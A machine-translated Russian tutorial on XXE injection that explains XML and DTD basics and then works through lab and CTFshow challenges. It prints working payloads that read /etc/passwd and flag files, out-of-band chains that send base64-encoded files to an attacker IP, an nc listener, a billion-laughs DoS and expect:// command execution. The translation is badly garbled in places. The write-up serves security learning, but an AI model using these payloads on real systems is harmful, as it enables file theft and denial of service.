Краткий анализ внедрения внешних сущностей XML
Краткий анализ внедрения внешних сущностей XML

заявление

Статья впервые появилась в сообществе Popping Candy.https://tttang.com/archive/1716/

Предисловие

После систематического изучения я сделаю краткое изложение XXE. Надеюсь, оно будет полезно мастерам, изучающим XXE.

необходимые знания

XML

Что такое XML

XML — это язык разметки, используемый для маркировки электронных документов, чтобы сделать их структурными. Его можно использовать для маркировки данных и определения типов данных. Это исходный язык, который позволяет пользователям определять свой собственный язык разметки. Конкретное введение заключается в следующем.

XML относится к расширяемому языку разметки (EXtensible Markup Language). XML предназначен для передачи данных, а не для их отображения. XML — это рекомендация W3C. XML ничего не сделает. XML предназначен для структурирования, хранения и передачи информации. Язык XML не имеет предопределенных тегов.

XML-компоненты

Структура документа XML включает в себя следующие

Язык кода:javascript
копировать
1、XMLзаявление
//Пример: <?xml version="1.0" encoding="UTF-8"?>
2. Определение типа документа DTD (необязательно): Определение типа документа DTD представляет собой набор грамматических правил для тегов, установленных для обмена программами.
3. Элементы документа

Строительные блоки XML аналогичны HTML и состоят из следующих элементов:

Язык кода:javascript
копировать
Элемент: основной строительный блок XML-документа, который может содержать текстовое содержимое.
//Пример: <username>quan9i</username>
Атрибуты: предоставляют дополнительную информацию об элементе.
//Пример: <img src="1.jpg"/> src — атрибут да
Сущность: Сущность да используется для определения переменных обычного текста. Ссылка на сущность да Ссылка на сущность.
PCDATA(parsed character data): данные проанализированного символа.
ps:PCDATA да Текст, который будет анализироваться парсером. Эти тексты будут проверены парсером на наличие сущностей и тегов.
CDATA(character data):характерданные
ps:CDATA да Текст, который не будет анализироваться парсером.

Роль XML

XML Разработанный для передачи и хранения данных, он фокусируется на содержании данных и предназначен для передачи информации. зачем нуженXMLШерстяная ткань,ЦитироватьQwzfСлова Мастера

В реальной жизни между некоторыми данными часто существует определенная связь. Мы надеемся, что сможем сохранять и обрабатывать эти данные на компьютере, а также сохранять и обрабатывать взаимосвязи между ними. XML — это формат хранения данных, созданный для решения таких задач.

Правила синтаксиса XML

Язык кода:javascript
копировать
1. Все XML Все элементы должны иметь закрывающий тег.
2、XML Метки чувствительны к регистру.
3、XML Должно быть правильно вложено.
4、XML Документ должен иметь корневой элемент.
5、XML Значение атрибута должно быть заключено в кавычки.
6、实体Цитировать:в атрибуте метки,и соответствующее значение позиции может появиться<>символ,Однако эти символы имеют особое значение в соответствующем XML.,На данный момент мы должны использовать соответствующий объект HTML для представления,
//Пример:<символ对应的实体就да&lt;
7. В XML пробелы сохранятся
//Пример:<p>aaкосмосbb</p>,Это пространство будет сохранено

Приведите пример

Язык кода:javascript
копировать
<?xml version="1.0" encoding="UTF-8"?> <!--xmlДокументальный фильмзаявление-->
<tttang>                 <!--корневой элемент-->
<article category="CTF">         <!--tttangдочерние элементы,categoryдля атрибутов-->
<title>XXE</title>               <!--articleдочерние элементы-->
<author>quan9i</author>                <!--articleдочерние элементы-->
<year>2022</year>                      <!--articleдочерние элементы-->
<data>8.20</data>                      <!--articleдочерние элементы-->
</article>                             <!--articleконец-->
</tttang>                              <!--tttangконец-->

Теперь, когда у нас есть определенное понимание правил XML, мы можем изучить DTD.

DTD

Определение типа документа (DTD) определяет допустимые строительные блоки XML-документа. Он использует ряд юридических элементов для определения структуры документа и ограничивает структуру XML-документа. ОТД может быть в заявлении XML Документация, также доступная как внешнее цитирование。 Потому что его можно использовать как в технологиях, так и в технологиях. цитирование,Также доступен ввнешнее цитирование,Это приводит к трем способам его использования.:внутреннее цитирование,внешнее цитированиеа такжеВнутренние + внешние ссылки

внутреннее цитирование

Формат

Язык кода:javascript
копировать
<!DOCTYPE корневой элемент[Определить контент]>

Пример

Язык кода:javascript
копировать
<?xml version="1.0"?> <!--XMLзаявление -->
<!DOCTYPE note [ <!--определенныйnoteэлемент-->
  <!ELEMENT note (to,from,heading,body)> <!--определениеnoteэлемент下的四индивидуальныйэлемент-->
  <!ELEMENT to      (#PCDATA)> <!--определенныйnoteдочерние элементыto,(#PCDATA)表示элементtoдахарактер串形式-->
  <!ELEMENT from    (#PCDATA)> <!--определенныйnoteдочерние элементыfrom,(#PCDATA)表示элементfromдахарактер串形式-->
  <!ELEMENT heading (#PCDATA)> <!--определенныйnoteдочерние элементыheading,(#PCDATA)表示элементheadingдахарактер串形式-->
  <!ELEMENT body    (#PCDATA)> <!--определенныйnoteдочерние элементыbody,(#PCDATA)表示элементbodyдахарактер串形式-->
]>
<!-- До сих пор,вышедаDTD文档определение-->
<note>
  <to>quan9i</to>
  <from>is</from>
  <heading>a</heading>
  <body>web xiao bai!</body>
</note>
внешнее цитирование

Формат

Язык кода:javascript
копировать
<!DOCTYPE корневой элемент SYSTEM «Путь к файлу DTD»>

Пример:

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>quan9i</to>
<from>is</from>
<heading>a</heading>
<body>web xiao bai!</body>
</note>

Содержимое файла note.dtd следующее:

Язык кода:javascript
копировать
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to      (#PCDATA)>              
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body    (#PCDATA)>
]>
Внутренние + внешние ссылки

Формат

Язык кода:javascript
копировать
<!DOCTYPE корневой элемент SYSTEM «Путь к файлу DTD» [Определить контент]>
сущность DTD

сущность DTDда используется для определения переменных, которые ссылаются на ярлыки обычного текста или специальных символов, которые могут быть внутренними или внешними. цитирование。 Другими словами, среди типов сущностей в DTD они обычно делятся на: сущностьивнешний объект。 Подразделение сущностей делится на общие сущности и сущности параметров.

Язык кода:javascript
копировать
Общие сущности:
определение:<!ENTITY Имя объекта "содержимое объекта">
вызов:&Имя объекта;

Сущность параметра:
определение:<!ENTITY % Имя объекта "содержимое объекта”>
вызов:%Имя объекта;
внутренняя сущность

Формат

Язык кода:javascript
копировать
<!ENTITY Имя объекта "Значение сущности">

Пример

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE test[
  <!ENTITY article "XXE">
  <!ENTITY author "quan9i">
]>
<test><article>&article;</article><author>&author;</author></test>
внешний объект

Формат

Язык кода:javascript
копировать
<!ENTITY Имя объекта SYSTEM "URI/URL">
или
<!ENTITY Имя объекта PUBLIC "public_ID" "URI">

Пример

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE test[
  <!ENTITY author SYSTEM "quan9i.xml">
]>
<test>&author;</test>

внешний объект также поддерживает http и другие протоколы, как показано ниже.

И здесь снова пример

Язык кода:javascript
копировать
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<test>&file;</test>

В то же время, поскольку существует два типа сущностей, вот еще один пример для понимания сущностей параметров. Пример

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  %file;
]>

Теперь, когда у вас есть определенное представление об этих знаниях, вы можете взглянуть на XXE.

XXE

Что такое ХХЕ

Полное название уязвимости XXE — XML. External Entity Injection , а именно xmlвнешний объектинъекциялазейки。

Причины уязвимости

XXЭлазейки возникают, когда приложение анализирует ввод XML.,Загрузка внешнего объекта не запрещена,Позволяет загружать вредоносные внешние файлы.

Уязвимости

Вызов чтения файла выполнение команды Сканирование интранет-портов Атака на интранет-сайт Запуск DOS-атак и других опасностей

Причины уязвимости

Точка, в которой срабатывает уязвимость XXE, часто является местом загрузки XML-файлов. Загруженные XML-файлы не фильтруются, что приводит к загрузке вредоносных XML-файлов.

Как использовать ХХЕ

Прочитать любой файл

Есть эхо

Тестовый код выглядит следующим образом

Язык кода:javascript
копировать
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>

Код описан ниже

Язык кода:javascript
копировать
file_get_contents('php://input'): Получить контент, введенный клиентом.
new DOMDocument(): инициализировать парсер XML
loadXML($xmlfile): загрузить содержимое XML, введенное клиентом.
simplexml_import_dom($dom) получает узел документа XML, возвращает объект SimpleXMLElement в случае успеха и возвращает FALSE в случае неудачи.
$xxe=$xml->xxe:получатьSimpleXMLElementУзлы в объектеXXE
echo $str: Вывод содержимого XXE.

POST загрузка контента

Язык кода:javascript
копировать
<?xml version="1.0" encoding="utf-8"?>  //XMLзаявление
<!DOCTYPE xml [   //определяем элементы XML
<!ENTITY quan9i SYSTEM "file:///c:/windows/system.ini"> //Определяем общую сущность quan9i
]> 
<xml>
<xxe>&quan9i;</xxe> 
</xml>

Попробуйте прочитать другие файлы

Язык кода:javascript
копировать
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE test [
<!ENTITY quan9i SYSTEM "file:///d:/flag.txt"> 
]> 
<test>
<xxe>&quan9i;</xxe> 
</test>
Нет ответа

Исходный код выглядит следующим образом

Язык кода:javascript
копировать
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>

Создайте полезную нагрузку следующим образом

Язык кода:javascript
копировать
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>

штурмовикhttp://192.168.134.128серединаeval.xmlСодержание

Язык кода:javascript
копировать
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.134.128/?content=%file;'>">

Так что, если у вас есть такая идея, просто сначала позвоните удаленно.,Фактически он содержит только файлы на атакующей машине.,Затем вызовите объект параметра полезной нагрузки,В это время включается файл объекта параметра.,Тогда файл будет читаться в это время,Тогда в это времяsendСодержаниедаhttp://192.168.134.128/?content=Содержимое файла,Мы вызываем отправку в это время,Воля Получить содержимое файла Проще говоря, это

Язык кода:javascript
копировать
1、вызовremote-->Включатьeval.xml
2、вызовpayload-->Включатьfileобъект параметра-->Чтение содержимого файла(в это времяsendсередина就дасодержимое файла)
3. Вызов отправки (удаление содержимого файла)

Раскодируйте его с помощью base64

Это запись прочитанного файла на атакующей машине. Мы также можем записать его локально, вот так. Создание полезной нагрузки

Язык кода:javascript
копировать
<!DOCTYPE convert [ 
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>

штурмовик上eval.xmlсодержание

Язык кода:javascript
копировать
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.134.128/?content=%file;'>">

получить флаг

DOS-атака (отказ в обслуживании)

От XMLвнешний внедрение объекта, злоумышленник может отправлять произвольные HTTP-запросы, поскольку синтаксический анализатор будет анализировать все объекты в документе, поэтому, если запросы объектов вложены слой за слоем, определенное количество может вызвать DoS на сервере. Распространенные вредоносные коды XML следующие:

Язык кода:javascript
копировать
<?xml version="1.0"?>

<!DOCTYPE lolz [

  <!ENTITY lol "dos">

  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>

<lolz>&lol9;</lolz>

вызовlol9Когда параметры сущности,会вызов10индивидуальныйlol8Параметры сущности,而每индивидуальныйlol8Параметры сущности又Включать十индивидуальныйlol7параметр,в это время就已经вызов了10^2индивидуальныйобъект параметра了,Дальше будет больше,Этот файл размером менее 1 КБ после анализа будет занимать много памяти.,Со временем оно займет 3G памяти, что показывает, что эта лазейкида очень опасна. Обычно мы можем сконструировать его таким образом для проведения DOS-атаки.

Язык кода:javascript
копировать
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

Обнаружение интрасети

Когда мы получаем IP-адрес интрасети, если Есть эхо, о котором можно судить по времени доступа и Энциклопедии в браузере 存活的端口ЭнциклопедиядляHTTP request failed!

Неактивный порт Энциклопедия Кусочекfailed to open stream

Мы также можем использовать bp, чтобы проверить, активен ли порт. Полезная нагрузка примера выглядит следующим образом.

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "http://10.244.80.20">
]>
<user><username>&file;</username><password>1</password></user>

Затем используйте Burpsuite, чтобы взорвать порт и оценить, жив ли порт, на основе эха.

Указывает, что это не живое См. фактическую операцию ниже для конкретных операций.

выполнение команды

Расширение PHPexpect может напрямую выполнять системные команды, но, к сожалению, это расширение не установлено по умолчанию. ссылка на полезную нагрузку

Язык кода:javascript
копировать
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

Энциклопедия

Язык кода:javascript
копировать
<file>uid=501(Apple) gid=20(staff) 
groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),
80(admin),81(_appserveradm),98(_lpadmin),401(com.apple.sharepoint.group.1),
33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),
399(com.apple.access_ssh)<file>

Реальное стрельбище

XXE-lab

адрес GitHub https://github.com/c0ny1/xxe-lab

Есть эхо

Тот, что идет в комплекте с тиром - да Есть эхо, исходный код такой

Язык кода:javascript
копировать
<?php
$USERNAME = 'admin'; //счет
$PASSWORD = 'admin'; //пароль
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  $creds = simplexml_import_dom($dom);

  $username = $creds->username;
  $password = $creds->password;

  if($username == $USERNAME && $password == $PASSWORD){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
  }else{
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
  } 
}catch(Exception $e){
  $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
//echo $result;
?>

Способ тот же, что и раньше, теперь ищем Есть точку эхо, а затем использовать файл, который мы хотим прочитать, в качестве содержимого параметра объекта, вызвать параметр объекта, и выходной результат будет: содержимое файла Создайте полезную нагрузку следующим образом

Язык кода:javascript
копировать
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE xml [ 
<!ENTITY quan9i SYSTEM "file:///c:/windows/system.ini">  
]> 
<user>
<username>&quan9i;</username> 
<password>1</password>
</user>

Измените файл и повторите попытку.

Нет ответа

Просто аннотируйте выходную информацию о стрельбище.

Просто введите его и захватите пакеты

протестируй это

В это время да Нет ответ, что соответствует Слепому В случае XXE вы можете использовать вынос и псевдопротокол для получения содержимого файла. Конкретный метод заключается в следующем. Создайте полезную нагрузку следующим образом

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY %file SYSTEM "php://filter/convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/xxe-lab-master/php_xxe/doLogin.php"
//Кодировка PHP base64 используется в заявлении объекта параметра, чтобы можно было попытаться избежать ошибок синтаксического анализатора XML из-за особенностей содержимого файла.
<!ENTITY %dtd SYSTEM "http://192.168.134.128/eval.xml">
%dtd;
%send;
]>

штурмовик192.168.134.128серединаeval.xmlсодержание

Язык кода:javascript
копировать
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.134.128/?content=%file;'>">
//%Кодирование объектов&#x25
 %payload;

Краткое описание методов атаки 1、%dtd :Включатьeval.xml–>вызовpayloadПараметры сущности–>вызовfileПараметры сущности–>查看指定документ В настоящее время содержимое параметра объекта отправки является содержимым файла. 2. %send, вызов параметров объекта отправки , в это время содержимое файла будет удалено

Base64 декодирует содержимое

Получить содержимое файла

CTFshow

web 373

Исходный код

Язык кода:javascript
копировать
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);   

Нетрудно обнаружить, что слова здесь выведеныда这индивидуальный$ctfshow,Итак, здесь мы просто помещаем ссылку на элемент в это,Создайте полезную нагрузку следующим образом

Язык кода:javascript
копировать
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<quan9i>
<ctfshow>&xxe;</ctfshow>
</quan9i>

web 374

Язык кода:javascript
копировать
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

Здесь я обнаружил, что Энциклопедия отсутствует. Вам нужно использовать метод, предложенный предыдущим сервером, для получения содержимого файла. Конкретный метод атаки заключается в следующем. payload

Язык кода:javascript
копировать
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://124.222.255.142:8083/xxe.dtd">
%aaa;
]>
<xxe>1</xxe>

Содержимое файла сервера

Язык кода:javascript
копировать
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://124.222.255.142:7777/?content=%file;'> ">
%dtd;
%xxe;

Base64 декодирует содержимое файла, чтобы получить флаг. Принцип также очень прост, аналогичен предыдущему.

Язык кода:javascript
копировать
1、вызовaaaобъект параметра-->Включатьdtdдокумент-->xml.dtdдокументсередина Включать了fileобъект параметра-->fileобъект параметра被вызов,成功读取документ-->xml.dtdдокументвызовdtdобъект параметра,в это время就Включать了后面那些内容-->xml.dtdдокументвызовxxeобъект параметра,Объект параметра xxe содержит объект параметра файла.,То есть содержимое файла да,В это время контент будет опубликован
2. Прослушиваем порт 7777.,Получить этот контент,Это эквивалентно доступу к файлу,На этом этапе мы можем достичь нашей цели - вынос

web 375

Язык кода:javascript
копировать
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

Добавлена ​​фильтрация,Отфильтрованный контент<?xml version="1.0",Мы можем отключить полезную нагрузку, как указано выше.,Но здесь мы называем это в полезной нагрузке,Не звонить в файлах,Полезная нагрузка следующая

Язык кода:javascript
копировать
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % xxe SYSTEM "http://124.222.255.142:8083/xxe.dtd">
%xxe;
%dtd;
%send;
]>
<xxe>1</xxe>

Содержимое файла

Язык кода:javascript
копировать
<!ENTITY % dtd "<!ENTITY &#x25; send  SYSTEM 'http://124.222.255.142:7777/?content=%file;'> ">

Сначала слушайте, затем отправляйте пакеты

Язык кода:javascript
копировать
nc -lvnp 7777

декодирование base64 может получить флаг

web 376

Язык кода:javascript
копировать
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

По сравнению с Shangguan добавлена ​​фильтрация регистра. Мы можем использовать ту же идею, что и раньше.

web 377

Язык кода:javascript
копировать
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

После фильтрации http мы устанавливаем специальный метод кодировки (например: UTF-16), чтобы его можно было обойти, конвертировав. В противном случае bp нам здесь не нужен. Для атаки используем скрипт Python. следует

Язык кода:javascript
копировать
import requests

url = 'http://95b7794d-1b60-4bfb-926c-e1bfbb955c8f.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % xxe SYSTEM "http://124.222.255.142:8083/xxe.dtd">
%xxe;
%dtd;
%send;
] >
<xxe>1</xxe>
"""
requests.post(url ,data=data.encode('utf-16'))
print("done!")

Сначала прослушайте, затем запустите скрипт

web 378

Интерфейс похож на xxe-lab, захватите пакеты и посмотрите

Это правда на первый взгляд, идентификация завершена, да Есть XXE эхо можно прочитать напрямую, используя файловый псевдопротокол.

Язык кода:javascript
копировать
<!DOCTYPE test[
<!ENTITY  file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>1</password></user>

Обнаружение в интрасети ([NCTF2019]Поваренная книга True XML)

В интерфейсе есть два поля ввода. Вы можете ввести все, что захотите, а затем захватить пакет. попробуй прочитать файл

Язык кода:javascript
копировать
<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///flag">
]>
<user><username>&quan9i;</username><password>1</password></user>

Если обнаружено, что файла флага нет, то необходимо обнаружить другие файлы.

Язык кода:javascript
копировать
<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///etc/passwd">
]>
<user><username>&quan9i;</username><password>1</password></user>
Язык кода:javascript
копировать
<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///etc/hosts">
]>
<user><username>&quan9i;</username><password>1</password></user>
Язык кода:javascript
копировать
<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///proc/net/arp">
]>
<user><username>&quan9i;</username><password>1</password></user>

Получите айпи и проведите Обнаружение интрасети

Он еще не взорвался,Объяснение может быть не в этом,Давайте изменимfile:///proc/net/fib_trieКоманда продолжения поискаip

продолжать Обнаружение интрасети Установить переменные

Настройка времени

Увеличьте размер резьбы

получить флаг

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose